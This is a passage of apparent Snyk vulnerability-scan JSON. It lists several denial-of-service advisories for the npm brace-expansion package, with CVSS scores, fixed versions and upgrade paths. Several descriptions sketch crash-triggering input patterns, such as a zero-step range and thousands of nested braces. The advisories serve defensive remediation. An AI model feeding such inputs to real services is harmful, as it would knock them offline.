"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
